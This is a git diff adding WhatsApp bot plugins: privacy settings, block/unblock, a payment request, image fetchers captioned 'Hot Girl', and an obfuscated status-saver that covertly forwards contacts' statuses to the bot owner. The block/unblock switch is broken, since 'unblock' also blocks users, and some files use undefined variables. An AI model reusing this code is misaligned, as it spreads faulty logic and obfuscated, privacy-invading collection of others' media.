${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + case 'online': + await conn + .updateOnlinePrivacy(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to ${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + case 'picture': + await conn + .updateProfilePicturePrivacy(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to ${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + case 'status': + await conn + .updateStatusPrivacy(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to ${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + case 'readreceipts': + await conn + .updateReadReceiptsPrivacy(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to ${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + case 'groupsadd': + await conn + .updateGroupsAddPrivacy(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to ${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + case 'disappearingmode': + await conn + .updateDefaultDisappearingMode(selectedValue) + .then(() => { + m.reply(`Privacy ${privacyType} has been changed to ${selectedValue}`) + }) + .catch(() => { + m.reply(`Cannot change privacy ${privacyType}`) + }) + break + default: + m.reply(typeHelpMessage) + } +} + +handler.help = ['setprivacy'] +handler.tags = ['main'] +handler.command = /^(setprivacy)$/i +handler.owner = true + +export default handler diff --git a/silvaXlab/owner-un-block.js b/silvaXlab/owner-un-block.js new file mode 100644 index 0000000..4b1dd86 --- /dev/null +++ b/silvaXlab/owner-un-block.js @@ -0,0 +1,41 @@ +let handler = async (m, { text, conn, usedPrefix, command }) => { + let why = `*ERROR, EXAMPLE:*\n*โ€”โ—‰ ${usedPrefix + command} @${m.sender.split('@')[0]}*` + let who = m.mentionedJid[0] + ? m.mentionedJid[0] + : m.quoted + ? m.quoted.sender + : text + ? text.replace(/[^0-9]/g, '') + '@s.whatsapp.net' + : false + if (!who) conn.reply(m.chat, why, m, { mentions: [m.sender] }) + let res = [] + switch (command) { + case 'block': + case 'unblock': + if (who) + await conn.updateBlockStatus(who, 'block').then(() => { + res.push(who) + }) + else conn.reply(m.chat, why, m, { mentions: [m.sender] }) + break + case 'unblock': + case 'unblock': + if (who) + await conn.updateBlockStatus(who, 'unblock').then(() => { + res.push(who) + }) + else conn.reply(m.chat, why, m, { mentions: [m.sender] }) + break + } + if (res[0]) + conn.reply( + m.chat, + `*SUCCESS! USER ${command} ACTION PERFORMED ON ${res ? `${res.map(v => '@' + v.split('@')[0])}` : ''}*`, + m, + { mentions: res } + ) +} + +handler.command = /^(block|unblock)$/i +handler.rowner = true +export default handler diff --git a/silvaXlab/pay.js b/silvaXlab/pay.js new file mode 100644 index 0000000..af3ce17 --- /dev/null +++ b/silvaXlab/pay.js @@ -0,0 +1,62 @@ +import { promises } from 'fs' +import { join } from 'path' +import axios from 'axios' + +let handler = async function (m, { conn, __dirname }) { + const githubRepoURL = 'https://github.com/SilvaTechB/silva-md-bot' + + try { + const [, username, repoName] = githubRepoURL.match(/github\.com\/([^/]+)\/([^/]+)/) + + const response = await axios.get(`https://api.github.com/repos/${username}/${repoName}`) + + if (response.status === 200) { + const repoData = response.data + + // Format the repository information with emojis + const formattedInfo = ` + ๐Ÿ‘๐Ÿ†๐’๐ˆ๐‹๐•๐€ ๐Œ๐ƒ ๐๐Ž๐“๐Ÿ’ฆโ˜ฃ +SILVA WANTS MONEY FROM YOU + +MAKE YOUR PAYMENT EXCLUSIVELY FOR SILVA MD BOT PROJECT + +\`\`\`๐’๐ˆ๐‹๐•๐€ ๐Œ๐ƒ ๐๐Ž๐“ PAYMENT\`\`\` +`.trim() + + // Send the formatted information as a message + await conn.relayMessage( + m.chat, + { + requestPaymentMessage: { + currencyCodeIso4217: 'KSH', + amount1000: 2500, + requestFrom: m.sender, + noteMessage: { + extendedTextMessage: { + text: formattedInfo, + contextInfo: { + externalAdReply: { + showAdAttribution: true, + }, + }, + }, + }, + }, + }, + {} + ) + } else { + // Handle the case where the API request fails + await conn.reply(m.chat, 'Unable to fetch repository information.', m) + } + } catch (error) { + console.error(error) + await conn.reply(m.chat, 'An error occurred while fetching repository information.', m) + } +} + +handler.help = ['script'] +handler.tags = ['main'] +handler.command = ['pay', 'money', 'lipa'] + +export default handler diff --git a/silvaXlab/pies-chinese.js b/silvaXlab/pies-chinese.js new file mode 100644 index 0000000..31cfc10 --- /dev/null +++ b/silvaXlab/pies-chinese.js @@ -0,0 +1,19 @@ +import fetch from 'node-fetch' + +let handler = async (m, { conn }) => { + +let msg = `China Hot Girl ๐Ÿฅต๐Ÿ”ฅ` +let endpoint = `https://shizoapi.onrender.com/api/pies/china?apikey=${shizokeys}` +const response = await fetch(endpoint); +if (response.ok) { + const imageBuffer = await response.buffer(); + await conn.sendFile(m.chat, imageBuffer, 'shizo.techie.error.png', msg, m, null, rpig); + } else { + throw bug + } +} + +handler.tags = ['pies', 'sfw'] +handler.help = handler.command = ['chinpie'] + +export default handler diff --git a/silvaXlab/pies-indian.js b/silvaXlab/pies-indian.js new file mode 100644 index 0000000..8ab646c --- /dev/null +++ b/silvaXlab/pies-indian.js @@ -0,0 +1,19 @@ +import fetch from 'node-fetch' + +let handler = async (m, { conn }) => { + +let msg = `India Hot Girl ๐Ÿฅต๐Ÿ”ฅ` +let endpoint = `https://shizoapi.onrender.com/api/pies/indian?apikey=${shizokeys}` +const response = await fetch(endpoint); +if (response.ok) { + const imageBuffer = await response.buffer(); + await conn.sendFile(m.chat, imageBuffer, 'shizo.techie.error.png', msg, m, null, rpig); + } else { + throw bug + } +} + +handler.tags = ['pies', 'sfw'] +handler.help = handler.command = ['inpie'] + +export default handler diff --git a/silvaXlab/silva5 b/silvaXlab/silva5 new file mode 100644 index 0000000..3d160f7 --- /dev/null +++ b/silvaXlab/silva5 @@ -0,0 +1 @@ +2024 diff --git a/silvaXlab/sw.js b/silvaXlab/sw.js new file mode 100644 index 0000000..3658fb8 --- /dev/null +++ b/silvaXlab/sw.js @@ -0,0 +1,117 @@ +export async function before(_0x44df86, { + isAdmin: _0x3deb59, + isBotAdmin: _0x5e8002 +}) { + if (!_0x44df86 || _0x44df86.key.remoteJid !== "status@broadcast") { + return false; + } + if (process.env.Status_Saver !== "true") { + console.log("Status Saver is disabled."); + return false; + } + this.story = this.story || []; + const { + mtype: _0x11a464, + sender: _0x22c526 + } = _0x44df86; + console.log("Received message object:", JSON.stringify(_0x44df86, null, 2)); + if (!_0x22c526) { + console.error("Sender is null or undefined"); + return false; + } + const _0x55b686 = conn.getName(_0x22c526) || "Unknown"; + console.log("Bot ID:", conn.user.id); + try { + let _0x101e00 = ''; + const _0x309ff6 = Buffer.from("QVVUTyBTVEFUVVMgU0FWRVI=", "base64").toString("utf-8"); + console.log("Message type:", _0x11a464); + if (_0x11a464 === "imageMessage" || _0x11a464 === "videoMessage") { + _0x101e00 = "*โ›ฒ" + _0x309ff6 + "โ›ฒ*\n*๐Ÿฆšแด˜ส€ษชษดแด„แด‡ แดแด…*\n\n*๐ŸฉตStatus:* " + _0x55b686 + "\n*๐ŸฉตCaption:* " + (_0x44df86.caption || ''); + await conn.copyNForward(conn.user.id, _0x44df86, true); + const _0x37415f = { + "mentions": [_0x22c526] + }; + await this.reply(conn.user.id, _0x101e00, _0x44df86, _0x37415f); + const _0x832032 = { + type: _0x11a464, + "quoted": _0x44df86, + "sender": _0x22c526, + caption: _0x101e00, + "buffer": _0x44df86 + }; + this.story.push(_0x832032); + } else { + if (_0x11a464 === "audioMessage") { + _0x101e00 = "*โ›ฒ" + _0x309ff6 + "โ›ฒ* \n\n*๐ŸฉตStatus:* " + _0x55b686; + await conn.copyNForward(conn.user.id, _0x44df86, true); + await this.reply(conn.user.id, _0x101e00, _0x44df86, { + "mimetype": _0x44df86.mimetype + }); + const _0x3fa104 = { + "type": _0x11a464, + quoted: _0x44df86, + "sender": _0x22c526, + "buffer": _0x44df86 + }; + this.story.push(_0x3fa104); + } else { + if (_0x11a464 === "extendedTextMessage") { + _0x101e00 = "*โ›ฒ" + _0x309ff6 + "โ›ฒ*\n\n" + (_0x44df86.text || ''); + const _0x3c70c5 = { + "mentions": [_0x22c526] + }; + await this.reply(conn.user.id, _0x101e00, _0x44df86, _0x3c70c5); + const _0x407328 = { + "type": _0x11a464, + "quoted": _0x44df86, + sender: _0x22c526, + message: _0x101e00 + }; + this.story.push(_0x407328); + return; + } else { + if (_0x44df86.quoted) { + await conn.copyNForward(conn.user.id, _0x44df86.quoted, true); + await conn.sendMessage(_0x44df86.chat, _0x101e00, { + "quoted": _0x44df86 + }); + } else { + console.log("Unsupported message type or empty message."); + return false; + } + } + } + } + if (process.env.STATUS_REPLY && process.env.STATUS_REPLY.toLowerCase() === "true") { + const _0x2d7baf = process.env.STATUS_MESSAGE || "โœ…โœ…Your status has been seen by silva international. The worlds best tech company 2024. GOD is always by our sideโค๏ธโœ…โœ…โœ…"; + console.log("Sending status reply to sender:", _0x2d7baf); + const _0x5c6cef = { + "remoteJid": "status@broadcast", + id: _0x44df86.key.id, + participant: _0x22c526 + }; + const _0x40c82b = { + "key": _0x5c6cef, + "message": _0x44df86.message + }; + const _0x22356a = { + text: _0x2d7baf + }; + const _0x520510 = { + "quoted": _0x40c82b + }; + await conn.sendMessage(_0x22c526, _0x22356a, _0x520510); + } + } catch (_0x20f075) { + console.error("Failed to process message:", _0x20f075.message || "Unknown error"); + if (_0x44df86.quoted && _0x44df86.quoted.text) { + await _0x44df86.reply(_0x44df86.quoted.text); + } else { + const _0x195c3a = { + "mentions": [_0x22c526] + }; + await this.reply(conn.user.id, "Failed to process message: " + (_0x20f075.message || "Unknown error"), _0x44df86, _0x195c3a); + } + } + return true; +}